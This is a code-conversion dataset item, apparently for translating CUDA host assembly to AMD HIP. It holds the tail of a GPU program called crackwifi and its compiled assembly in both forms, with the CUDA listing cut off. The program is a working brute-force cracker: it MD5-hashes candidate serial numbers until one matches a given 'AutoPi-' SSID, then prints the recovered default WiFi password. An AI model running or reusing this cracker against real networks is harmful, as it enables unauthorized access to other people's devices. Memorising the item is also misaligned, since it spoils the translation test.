serial[2] += hexLookup[(threadIdx.x & 0xf0) >> 4] << charLen*0; // serial[2] = 'xyzr'
serial[3] += hexLookup[(threadIdx.x & 0x0f)] << charLen*3; // serial[3] = 't '
serial[4] += 10 << charLen*0; // serial[4] = ' \n'
serial[4] += 128 << charLen*1; // serial[4] = ' d\n'
// ASCII 0(48) -> 9(57) & a(97) -> f(102)
for (unsigned int i = 48; i <= 102; i++) {
serial[3] &= ~(0xff << charLen*2); // erase last loops value
serial[3] += (i << charLen*2); // serial[3] = 'ti '
for (unsigned int j = 48; j <= 102; j++) {
serial[3] &= ~(0xff << charLen*1); // erase last loops value
serial[3] += (j << charLen*1); // serial[3] = 'tij '
for (unsigned int k = 48; k <= 102; k++) {
serial[3] &= ~(0xff << charLen*0); // erase last loops value
serial[3] += (k << charLen*0); // serial[3] = 'tijk'
//load magic numbers
a = 0x67452301;
b = 0xefcdab89;
c = 0x98badcfe;
d = 0x10325476;
// Round 1
FF ( a, b, c, d, serial[0], S11, 0xd76aa478); // 1
FF ( d, a, b, c, serial[1], S12, 0xe8c7b756); // 2
FF ( c, d, a, b, serial[2], S13, 0x242070db); // 3
FF ( b, c, d, a, serial[3], S14, 0xc1bdceee); // 4
FF ( a, b, c, d, serial[4], S11, 0xf57c0faf); // 5
FF ( d, a, b, c, 0, S12, 0x4787c62a); // 6
FF ( c, d, a, b, 0, S13, 0xa8304613); // 7
FF ( b, c, d, a, 0, S14, 0xfd469501); // 8
FF ( a, b, c, d, 0, S11, 0x698098d8); // 9
FF ( d, a, b, c, 0, S12, 0x8b44f7af); // 10
FF ( c, d, a, b, 0, S13, 0xffff5bb1); // 11
FF ( b, c, d, a, 0, S14, 0x895cd7be); // 12
FF ( a, b, c, d, 0, S11, 0x6b901122); // 13
FF ( d, a, b, c, 0, S12, 0xfd987193); // 14
FF ( c, d, a, b, pwdbitlen, S13, 0xa679438e); // 15
FF ( b, c, d, a, 0, S14, 0x49b40821); //
// Round 2
GG (a, b, c, d, serial[1], S21, 0xf61e2562); // 17
GG (d, a, b, c, 0, S22, 0xc040b340); // 18
GG (c, d, a, b, 0, S23, 0x265e5a51); // 19
GG (b, c, d, a, serial[0], S24, 0xe9b6c7aa); // 20
GG (a, b, c, d, 0, S21, 0xd62f105d); // 21
GG (d, a, b, c, 0, S22, 0x2441453); // 22
GG (c, d, a, b, 0, S23, 0xd8a1e681); // 23
GG (b, c, d, a, serial[4], S24, 0xe7d3fbc8); // 24
GG (a, b, c, d, 0, S21, 0x21e1cde6); // 25
GG (d, a, b, c, pwdbitlen, S22, 0xc33707d6); // 26
GG (c, d, a, b, serial[3], S23, 0xf4d50d87); // 27
GG (b, c, d, a, 0, S24, 0x455a14ed); // 28
GG (a, b, c, d, 0, S21, 0xa9e3e905); // 29
GG (d, a, b, c, serial[2], S22, 0xfcefa3f8); // 30
GG (c, d, a, b, 0, S23, 0x676f02d9); // 31
GG (b, c, d, a, 0, S24, 0x8d2a4c8a); // 32
// Round 3
HH (a, b, c, d, 0, S31, 0xfffa3942); // 33
HH (d, a, b, c, 0, S32, 0x8771f681); // 34
HH (c, d, a, b, 0, S33, 0x6d9d6122); // 35
HH (b, c, d, a, pwdbitlen, S34, 0xfde5380c); // 36
HH (a, b, c, d, serial[1], S31, 0xa4beea44); // 37
HH (d, a, b, c, serial[4], S32, 0x4bdecfa9); // 38
HH (c, d, a, b, 0, S33, 0xf6bb4b60); // 39
HH (b, c, d, a, 0, S34, 0xbebfbc70); // 40
HH (a, b, c, d, 0, S31, 0x289b7ec6); // 41
HH (d, a, b, c, serial[0], S32, 0xeaa127fa); // 42
HH (c, d, a, b, serial[3], S33, 0xd4ef3085); // 43
HH (b, c, d, a, 0, S34, 0x4881d05); // 44
HH (a, b, c, d, 0, S31, 0xd9d4d039); // 45
HH (d, a, b, c, 0, S32, 0xe6db99e5); // 46
HH (c, d, a, b, 0, S33, 0x1fa27cf8); // 47
HH (b, c, d, a, serial[2], S34, 0xc4ac5665); // 48
// Round 4
II (a, b, c, d, serial[0], S41, 0xf4292244); // 49
II (d, a, b, c, 0, S42, 0x432aff97); // 50
II (c, d, a, b, pwdbitlen, S43, 0xab9423a7); // 51
II (b, c, d, a, 0, S44, 0xfc93a039); // 52
II (a, b, c, d, 0, S41, 0x655b59c3); // 53
II (d, a, b, c, serial[3], S42, 0x8f0ccc92); // 54
II (c, d, a, b, 0, S43, 0xffeff47d); // 55
II (b, c, d, a, serial[1], S44, 0x85845dd1); // 56
II (a, b, c, d, 0, S41, 0x6fa87e4f); // 57
II (d, a, b, c, 0, S42, 0xfe2ce6e0); // 58
II (c, d, a, b, 0, S43, 0xa3014314); // 59
II (b, c, d, a, 0, S44, 0x4e0811a1); // 60
II (a, b, c, d, serial[4], S41, 0xf7537e82); // 61
II (d, a, b, c, 0, S42, 0xbd3af235); // 62
II (c, d, a, b, serial[2], S43, 0x2ad7d2bb); // 63
II (b, c, d, a, 0, S44, 0xeb86d391); // 64
a += 0x67452301;
b += 0xefcdab89;
c += 0x98badcfe;
d += 0x10325476;
if (((c >> charLen*2) & 0xffff) == ((ssid[0] >> charLen*2) & 0xffff) && d == ssid[1]) {
unsigned int hash[] = {a, b, c, d};
*found = TRUE;
setSerial(serialResult, serial);
setHash(hashResult, hash);
return;
}
if (k == 57)
k = 96; // values will be incremented to 97 at the end of their loops
}
if (j == 57)
j = 96;
}
if (i == 57)
i = 96;
}
}
void usage(char *argv[]) {
printf("%-7s %s %s\n", "Usage:", argv[0], "<12 hex SSID>");
exit(0);
}
// Converts the 12 hex char ssid input to arrays of integers in
// little endian which is used by the md5 algorithm.
void ssidToInts(unsigned int result[], char input[]) {
// Pad with zeros to align with multiple of 8.
// Will be masked away when doing compares.
char ssid[17];
snprintf(ssid, sizeof(ssid)/sizeof(ssid[0]), "%s%s", "0000", input);
char tmpResult[9];
tmpResult[8] = 0;
for (int i = 0; i < 16; i+=8) {
for (int j = 0; j < 8; j+=2) {
tmpResult[(j + 1) % 8] = ssid[i + (8 - 1 - j - 0)];
tmpResult[(j + 0) % 8] = ssid[i + (8 - 1 - j - 1)];
}
result[(i + 1) / 8] = strtoul(tmpResult, NULL, 16);
}
}
int main(int argc, char *argv[]) {
if (argc != 2 || strlen(argv[1]) != 12) {
usage(argv);
}
// declare
unsigned int *found, *ssid;
char *serialResult, *hashResult;
const int SERIAL_LENGTH = 16 + 1, HASH_LENGTH = 32 + 1;
// malloc
hipMallocManaged((void**)&found, sizeof(int));
hipMallocManaged((void**)&ssid, 2 * sizeof(int));
hipMallocManaged((void**)&serialResult, SERIAL_LENGTH * sizeof(char));
hipMallocManaged((void**)&hashResult, HASH_LENGTH * sizeof(char));
// init
*found = FALSE;
ssidToInts(ssid, argv[1]);
serialResult[SERIAL_LENGTH - 1] = 0;
hashResult[HASH_LENGTH - 1] = 0;
findMatch<<<4096, 256>>>(ssid, found, serialResult, hashResult);
hipDeviceSynchronize();
if (*found) {
char password[13];
strncpy(password, hashResult, 12);
password[12] = 0;
printf("%-10s %s\n", "Serial:", serialResult);
printf("%-10s %s\n", "Hash:", hashResult);
printf("%-10s AutoPi-%s\n", "SSID:", argv[1]);
printf("%-10s %s\n", "Password:", password);
} else {
printf("No match found for SSID %s\n", argv[1]);
}
hipFree(found);
hipFree(ssid);
hipFree(serialResult);
hipFree(hashResult);
return 0;
} | .text
.file "crackwifi.hip"
.globl _Z24__device_stub__findMatchPjS_PcS0_ # -- Begin function _Z24__device_stub__findMatchPjS_PcS0_
.p2align 4, 0x90
.type _Z24__device_stub__findMatchPjS_PcS0_,@function
_Z24__device_stub__findMatchPjS_PcS0_: # @_Z24__device_stub__findMatchPjS_PcS0_
.cfi_startproc
# %bb.0:
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 72(%rsp)
movq %rsi, 64(%rsp)
movq %rdx, 56(%rsp)
movq %rcx, 48(%rsp)
leaq 72(%rsp), %rax
movq %rax, 80(%rsp)
leaq 64(%rsp), %rax
movq %rax, 88(%rsp)
leaq 56(%rsp), %rax
movq %rax, 96(%rsp)
leaq 48(%rsp), %rax
movq %rax, 104(%rsp)
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 80(%rsp), %r9
movl $_Z9findMatchPjS_PcS0_, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $136, %rsp
.cfi_adjust_cfa_offset -136
retq
.Lfunc_end0:
.size _Z24__device_stub__findMatchPjS_PcS0_, .Lfunc_end0-_Z24__device_stub__findMatchPjS_PcS0_
.cfi_endproc
# -- End function
.globl _Z5usagePPc # -- Begin function _Z5usagePPc
.p2align 4, 0x90
.type _Z5usagePPc,@function
_Z5usagePPc: # @_Z5usagePPc
.cfi_startproc
# %bb.0:
pushq %rax
.cfi_def_cfa_offset 16
movq (%rdi), %rdx
movl $.L.str, %edi
movl $.L.str.1, %esi
movl $.L.str.2, %ecx
xorl %eax, %eax
callq printf
xorl %edi, %edi
callq exit
.Lfunc_end1:
.size _Z5usagePPc, .Lfunc_end1-_Z5usagePPc
.cfi_endproc
# -- End function
.globl _Z10ssidToIntsPjPc # -- Begin function _Z10ssidToIntsPjPc
.p2align 4, 0x90
.type _Z10ssidToIntsPjPc,@function
_Z10ssidToIntsPjPc: # @_Z10ssidToIntsPjPc
.cfi_startproc
# %bb.0:
pushq %r15
.cfi_def_cfa_offset 16
pushq %r14
.cfi_def_cfa_offset 24
pushq %r12
.cfi_def_cfa_offset 32
pushq %rbx
.cfi_def_cfa_offset 40
subq $40, %rsp
.cfi_def_cfa_offset 80
.cfi_offset %rbx, -40
.cfi_offset %r12, -32
.cfi_offset %r14, -24
.cfi_offset %r15, -16
movq %rsi, %r8
movq %rdi, %rbx
xorl %r15d, %r15d
leaq 16(%rsp), %rdi
movl $17, %esi
movl $.L.str.3, %edx
movl $.L.str.4, %ecx
xorl %eax, %eax
callq snprintf
movb $0, 15(%rsp)
leaq 22(%rsp), %r12
leaq 7(%rsp), %r14
.p2align 4, 0x90
.LBB2_1: # %.preheader
# =>This Loop Header: Depth=1
# Child Loop BB2_2 Depth 2
movq %r12, %rax
xorl %ecx, %ecx
.p2align 4, 0x90
.LBB2_2: # Parent Loop BB2_1 Depth=1
# => This Inner Loop Header: Depth=2
leaq (%r15,%rcx), %rdx
xorq $7, %rdx
movzbl 16(%rsp,%rdx), %edx
movb %dl, 8(%rsp,%rcx)
movzbl (%rax), %edx
movb %dl, 7(%rsp,%rcx)
leaq 2(%rcx), %rdx
addq $-2, %rax
cmpq $6, %rcx
movq %rdx, %rcx
jb .LBB2_2
# %bb.3: # in Loop: Header=BB2_1 Depth=1
movq %r14, %rdi
xorl %esi, %esi
movl $16, %edx
callq __isoc23_strtoul
movq %r15, %rcx
shrq %rcx
movl %eax, (%rbx,%rcx)
leaq 8(%r15), %rax
addq $8, %r12
testq %r15, %r15
movq %rax, %r15
je .LBB2_1
# %bb.4:
addq $40, %rsp
.cfi_def_cfa_offset 40
popq %rbx
.cfi_def_cfa_offset 32
popq %r12
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
retq
.Lfunc_end2:
.size _Z10ssidToIntsPjPc, .Lfunc_end2-_Z10ssidToIntsPjPc
.cfi_endproc
# -- End function
.globl main # -- Begin function main
.p2align 4, 0x90
.type main,@function
main: # @main
.cfi_startproc
# %bb.0:
pushq %r15
.cfi_def_cfa_offset 16
pushq %r14
.cfi_def_cfa_offset 24
pushq %r13
.cfi_def_cfa_offset 32
pushq %r12
.cfi_def_cfa_offset 40
pushq %rbx
.cfi_def_cfa_offset 48
subq $144, %rsp
.cfi_def_cfa_offset 192
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r13, -32
.cfi_offset %r14, -24
.cfi_offset %r15, -16
movq %rsi, %rbx
cmpl $2, %edi
jne .LBB3_12
# %bb.1:
movq 8(%rbx), %rdi
callq strlen
cmpq $12, %rax
jne .LBB3_12
# %bb.2:
leaq 16(%rsp), %rdi
movl $4, %esi
movl $1, %edx
callq hipMallocManaged
leaq 40(%rsp), %rdi
movl $8, %esi
movl $1, %edx
callq hipMallocManaged
leaq 8(%rsp), %rdi
movl $17, %esi
movl $1, %edx
callq hipMallocManaged
movq %rsp, %rdi
movl $33, %esi
movl $1, %edx
callq hipMallocManaged
movq 16(%rsp), %rax
movl $0, (%rax)
movq 40(%rsp), %r15
movq 8(%rbx), %r8
xorl %r12d, %r12d
leaq 48(%rsp), %rdi
movl $17, %esi
movl $.L.str.3, %edx
movl $.L.str.4, %ecx
xorl %eax, %eax
callq snprintf
movb $0, 32(%rsp)
leaq 54(%rsp), %r13
leaq 24(%rsp), %r14
.p2align 4, 0x90
.LBB3_3: # %.preheader.i
# =>This Loop Header: Depth=1
# Child Loop BB3_4 Depth 2
movq %r13, %rax
xorl %ecx, %ecx
.p2align 4, 0x90
.LBB3_4: # Parent Loop BB3_3 Depth=1
# => This Inner Loop Header: Depth=2
leaq (%r12,%rcx), %rdx
xorq $7, %rdx
movzbl 48(%rsp,%rdx), %edx
movb %dl, 25(%rsp,%rcx)
movzbl (%rax), %edx
movb %dl, 24(%rsp,%rcx)
leaq 2(%rcx), %rdx
addq $-2, %rax
cmpq $6, %rcx
movq %rdx, %rcx
jb .LBB3_4
# %bb.5: # in Loop: Header=BB3_3 Depth=1
movq %r14, %rdi
xorl %esi, %esi
movl $16, %edx
callq __isoc23_strtoul
movq %r12, %rcx
shrq %rcx
movl %eax, (%r15,%rcx)
leaq 8(%r12), %rax
addq $8, %r13
testq %r12, %r12
movq %rax, %r12
je .LBB3_3
# %bb.6: # %_Z10ssidToIntsPjPc.exit
movq 8(%rsp), %rax
movb $0, 16(%rax)
movq (%rsp), %rax
movb $0, 32(%rax)
movabsq $4294967552, %rdx # imm = 0x100000100
leaq 3840(%rdx), %rdi
movl $1, %esi
movl $1, %ecx
xorl %r8d, %r8d
xorl %r9d, %r9d
callq __hipPushCallConfiguration
testl %eax, %eax
jne .LBB3_8
# %bb.7:
movq 40(%rsp), %rax
movq 16(%rsp), %rcx
movq 8(%rsp), %rdx
movq (%rsp), %rsi
movq %rax, 136(%rsp)
movq %rcx, 128(%rsp)
movq %rdx, 120(%rsp)
movq %rsi, 112(%rsp)
leaq 136(%rsp), %rax
movq %rax, 48(%rsp)
leaq 128(%rsp), %rax
movq %rax, 56(%rsp)
leaq 120(%rsp), %rax
movq %rax, 64(%rsp)
leaq 112(%rsp), %rax
movq %rax, 72(%rsp)
leaq 24(%rsp), %rdi
leaq 96(%rsp), %rsi
leaq 88(%rsp), %rdx
leaq 80(%rsp), %rcx
callq __hipPopCallConfiguration
movq 24(%rsp), %rsi
movl 32(%rsp), %edx
movq 96(%rsp), %rcx
movl 104(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z9findMatchPjS_PcS0_, %edi
pushq 80(%rsp)
.cfi_adjust_cfa_offset 8
pushq 96(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $16, %rsp
.cfi_adjust_cfa_offset -16
.LBB3_8:
callq hipDeviceSynchronize
movq 16(%rsp), %rax
cmpl $0, (%rax)
je .LBB3_10
# %bb.9:
movq (%rsp), %rsi
leaq 48(%rsp), %r14
movl $12, %edx
movq %r14, %rdi
callq strncpy
movb $0, 60(%rsp)
movq 8(%rsp), %rdx
movl $.L.str.5, %edi
movl $.L.str.6, %esi
xorl %eax, %eax
callq printf
movq (%rsp), %rdx
movl $.L.str.5, %edi
movl $.L.str.7, %esi
xorl %eax, %eax
callq printf
movq 8(%rbx), %rdx
movl $.L.str.8, %edi
movl $.L.str.9, %esi
xorl %eax, %eax
callq printf
movl $.L.str.5, %edi
movl $.L.str.10, %esi
movq %r14, %rdx
xorl %eax, %eax
callq printf
jmp .LBB3_11
.LBB3_10:
movq 8(%rbx), %rsi
movl $.L.str.11, %edi
xorl %eax, %eax
callq printf
.LBB3_11:
movq 16(%rsp), %rdi
callq hipFree
movq 40(%rsp), %rdi
callq hipFree
movq 8(%rsp), %rdi
callq hipFree
movq (%rsp), %rdi
callq hipFree
xorl %eax, %eax
addq $144, %rsp
.cfi_def_cfa_offset 48
popq %rbx
.cfi_def_cfa_offset 40
popq %r12
.cfi_def_cfa_offset 32
popq %r13
.cfi_def_cfa_offset 24
popq %r14
.cfi_def_cfa_offset 16
popq %r15
.cfi_def_cfa_offset 8
retq
.LBB3_12:
.cfi_def_cfa_offset 192
movq (%rbx), %rdx
movl $.L.str, %edi
movl $.L.str.1, %esi
movl $.L.str.2, %ecx
xorl %eax, %eax
callq printf
xorl %edi, %edi
callq exit
.Lfunc_end3:
.size main, .Lfunc_end3-main
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB4_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB4_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z9findMatchPjS_PcS0_, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end4:
.size __hip_module_ctor, .Lfunc_end4-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB5_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB5_2:
retq
.Lfunc_end5:
.size __hip_module_dtor, .Lfunc_end5-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z9findMatchPjS_PcS0_,@object # @_Z9findMatchPjS_PcS0_
.section .rodata,"a",@progbits
.globl _Z9findMatchPjS_PcS0_
.p2align 3, 0x0
_Z9findMatchPjS_PcS0_:
.quad _Z24__device_stub__findMatchPjS_PcS0_
.size _Z9findMatchPjS_PcS0_, 8
.type .L.str,@object # @.str
.section .rodata.str1.1,"aMS",@progbits,1
.L.str:
.asciz "%-7s %s %s\n"
.size .L.str, 12
.type .L.str.1,@object # @.str.1
.L.str.1:
.asciz "Usage:"
.size .L.str.1, 7
.type .L.str.2,@object # @.str.2
.L.str.2:
.asciz "<12 hex SSID>"
.size .L.str.2, 14
.type .L.str.3,@object # @.str.3
.L.str.3:
.asciz "%s%s"
.size .L.str.3, 5
.type .L.str.4,@object # @.str.4
.L.str.4:
.asciz "0000"
.size .L.str.4, 5
.type .L.str.5,@object # @.str.5
.L.str.5:
.asciz "%-10s %s\n"
.size .L.str.5, 10
.type .L.str.6,@object # @.str.6
.L.str.6:
.asciz "Serial:"
.size .L.str.6, 8
.type .L.str.7,@object # @.str.7
.L.str.7:
.asciz "Hash:"
.size .L.str.7, 6
.type .L.str.8,@object # @.str.8
.L.str.8:
.asciz "%-10s AutoPi-%s\n"
.size .L.str.8, 17
.type .L.str.9,@object # @.str.9
.L.str.9:
.asciz "SSID:"
.size .L.str.9, 6
.type .L.str.10,@object # @.str.10
.L.str.10:
.asciz "Password:"
.size .L.str.10, 10
.type .L.str.11,@object # @.str.11
.L.str.11:
.asciz "No match found for SSID %s\n"
.size .L.str.11, 28
.type .L__unnamed_1,@object # @0
.L__unnamed_1:
.asciz "_Z9findMatchPjS_PcS0_"
.size .L__unnamed_1, 22
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z24__device_stub__findMatchPjS_PcS0_
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z9findMatchPjS_PcS0_
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_0014b687_00000000-6_crackwifi.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2072:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2072:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z9setSerialPcPj
.type _Z9setSerialPcPj, @function
_Z9setSerialPcPj:
.LFB2065:
.cfi_startproc
endbr64
pushq %rax
.cfi_def_cfa_offset 16
popq %rax
.cfi_def_cfa_offset 8
subq $24, %rsp
.cfi_def_cfa_offset 32
movl $1, 12(%rsp)
movl 12(%rsp), %edi
call exit@PLT
.cfi_endproc
.LFE2065:
.size _Z9setSerialPcPj, .-_Z9setSerialPcPj
.globl _Z7setHashPcPj
.type _Z7setHashPcPj, @function
_Z7setHashPcPj:
.LFB2066:
.cfi_startproc
endbr64
pushq %rax
.cfi_def_cfa_offset 16
popq %rax
.cfi_def_cfa_offset 8
subq $24, %rsp
.cfi_def_cfa_offset 32
movl $1, 12(%rsp)
movl 12(%rsp), %edi
call exit@PLT
.cfi_endproc
.LFE2066:
.size _Z7setHashPcPj, .-_Z7setHashPcPj
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "<12 hex SSID>"
.LC1:
.string "Usage:"
.LC2:
.string "%-7s %s %s\n"
.text
.globl _Z5usagePPc
.type _Z5usagePPc, @function
_Z5usagePPc:
.LFB2067:
.cfi_startproc
endbr64
pushq %rax
.cfi_def_cfa_offset 16
popq %rax
.cfi_def_cfa_offset 8
subq $8, %rsp
.cfi_def_cfa_offset 16
movq (%rdi), %rcx
leaq .LC0(%rip), %r8
leaq .LC1(%rip), %rdx
leaq .LC2(%rip), %rsi
movl $2, %edi
movl $0, %eax
call __printf_chk@PLT
movl $0, %edi
call exit@PLT
.cfi_endproc
.LFE2067:
.size _Z5usagePPc, .-_Z5usagePPc
.section .rodata.str1.1
.LC3:
.string "0000"
.LC4:
.string "%s%s"
.text
.globl _Z10ssidToIntsPjPc
.type _Z10ssidToIntsPjPc, @function
_Z10ssidToIntsPjPc:
.LFB2068:
.cfi_startproc
endbr64
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
pushq %rbx
.cfi_def_cfa_offset 24
.cfi_offset 3, -24
subq $56, %rsp
.cfi_def_cfa_offset 80
movq %rdi, %rbx
movq %fs:40, %rax
movq %rax, 40(%rsp)
xorl %eax, %eax
leaq 16(%rsp), %rdi
subq $8, %rsp
.cfi_def_cfa_offset 88
pushq %rsi
.cfi_def_cfa_offset 96
leaq .LC3(%rip), %r9
leaq .LC4(%rip), %r8
movl $17, %ecx
movl $2, %edx
movl $17, %esi
call __snprintf_chk@PLT
movb $0, 31(%rsp)
movzbl 39(%rsp), %eax
movb %al, 24(%rsp)
movzbl 38(%rsp), %eax
movb %al, 23(%rsp)
movzbl 37(%rsp), %eax
movb %al, 26(%rsp)
movzbl 36(%rsp), %eax
movb %al, 25(%rsp)
movzbl 35(%rsp), %eax
movb %al, 28(%rsp)
movzbl 34(%rsp), %eax
movb %al, 27(%rsp)
movzbl 33(%rsp), %eax
movb %al, 30(%rsp)
movzbl 32(%rsp), %eax
movb %al, 29(%rsp)
leaq 23(%rsp), %rbp
movl $16, %edx
movl $0, %esi
movq %rbp, %rdi
call __isoc23_strtoul@PLT
movl %eax, (%rbx)
movzbl 47(%rsp), %eax
movb %al, 24(%rsp)
movzbl 46(%rsp), %eax
movb %al, 23(%rsp)
movzbl 45(%rsp), %eax
movb %al, 26(%rsp)
movzbl 44(%rsp), %eax
movb %al, 25(%rsp)
movzbl 43(%rsp), %eax
movb %al, 28(%rsp)
movzbl 42(%rsp), %eax
movb %al, 27(%rsp)
movzbl 41(%rsp), %eax
movb %al, 30(%rsp)
movzbl 40(%rsp), %eax
movb %al, 29(%rsp)
movl $16, %edx
movl $0, %esi
movq %rbp, %rdi
call __isoc23_strtoul@PLT
movl %eax, 4(%rbx)
addq $16, %rsp
.cfi_def_cfa_offset 80
movq 40(%rsp), %rax
subq %fs:40, %rax
jne .L12
addq $56, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 24
popq %rbx
.cfi_def_cfa_offset 16
popq %rbp
.cfi_def_cfa_offset 8
ret
.L12:
.cfi_restore_state
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2068:
.size _Z10ssidToIntsPjPc, .-_Z10ssidToIntsPjPc
.globl _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
.type _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_, @function
_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_:
.LFB2094:
.cfi_startproc
endbr64
subq $152, %rsp
.cfi_def_cfa_offset 160
movq %rdi, 24(%rsp)
movq %rsi, 16(%rsp)
movq %rdx, 8(%rsp)
movq %rcx, (%rsp)
movq %fs:40, %rax
movq %rax, 136(%rsp)
xorl %eax, %eax
leaq 24(%rsp), %rax
movq %rax, 96(%rsp)
leaq 16(%rsp), %rax
movq %rax, 104(%rsp)
leaq 8(%rsp), %rax
movq %rax, 112(%rsp)
movq %rsp, %rax
movq %rax, 120(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
movl $1, 56(%rsp)
movl $1, 60(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
leaq 40(%rsp), %rcx
leaq 32(%rsp), %rdx
leaq 60(%rsp), %rsi
leaq 48(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L17
.L13:
movq 136(%rsp), %rax
subq %fs:40, %rax
jne .L18
addq $152, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L17:
.cfi_restore_state
pushq 40(%rsp)
.cfi_def_cfa_offset 168
pushq 40(%rsp)
.cfi_def_cfa_offset 176
leaq 112(%rsp), %r9
movq 76(%rsp), %rcx
movl 84(%rsp), %r8d
movq 64(%rsp), %rsi
movl 72(%rsp), %edx
leaq _Z9findMatchPjS_PcS0_(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 160
jmp .L13
.L18:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2094:
.size _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_, .-_Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
.globl _Z9findMatchPjS_PcS0_
.type _Z9findMatchPjS_PcS0_, @function
_Z9findMatchPjS_PcS0_:
.LFB2095:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z35__device_stub__Z9findMatchPjS_PcS0_PjS_PcS0_
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2095:
.size _Z9findMatchPjS_PcS0_, .-_Z9findMatchPjS_PcS0_
.section .rodata.str1.1
.LC5:
.string "Serial:"
.LC6:
.string "%-10s %s\n"
.LC7:
.string "Hash:"
.LC8:
.string "SSID:"
.LC9:
.string "%-10s AutoPi-%s\n"
.LC10:
.string "Password:"
.LC11:
.string "No match found for SSID %s\n"
.text
.globl main
.type main, @function
main:
.LFB2069:
.cfi_startproc
endbr64
pushq %r12
.cfi_def_cfa_offset 16
.cfi_offset 12, -16
pushq %rbp
.cfi_def_cfa_offset 24
.cfi_offset 6, -24
pushq %rbx
.cfi_def_cfa_offset 32
.cfi_offset 3, -32
subq $80, %rsp
.cfi_def_cfa_offset 112
movq %rsi, %rbx
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
cmpl $2, %edi
jne .L22
movq 8(%rsi), %rdi
call strlen@PLT
cmpq $12, %rax
jne .L22
movq %rsp, %rdi
movl $1, %edx
movl $4, %esi
call cudaMallocManaged@PLT
leaq 8(%rsp), %rdi
movl $1, %edx
movl $8, %esi
call cudaMallocManaged@PLT
leaq 16(%rsp), %rdi
movl $1, %edx
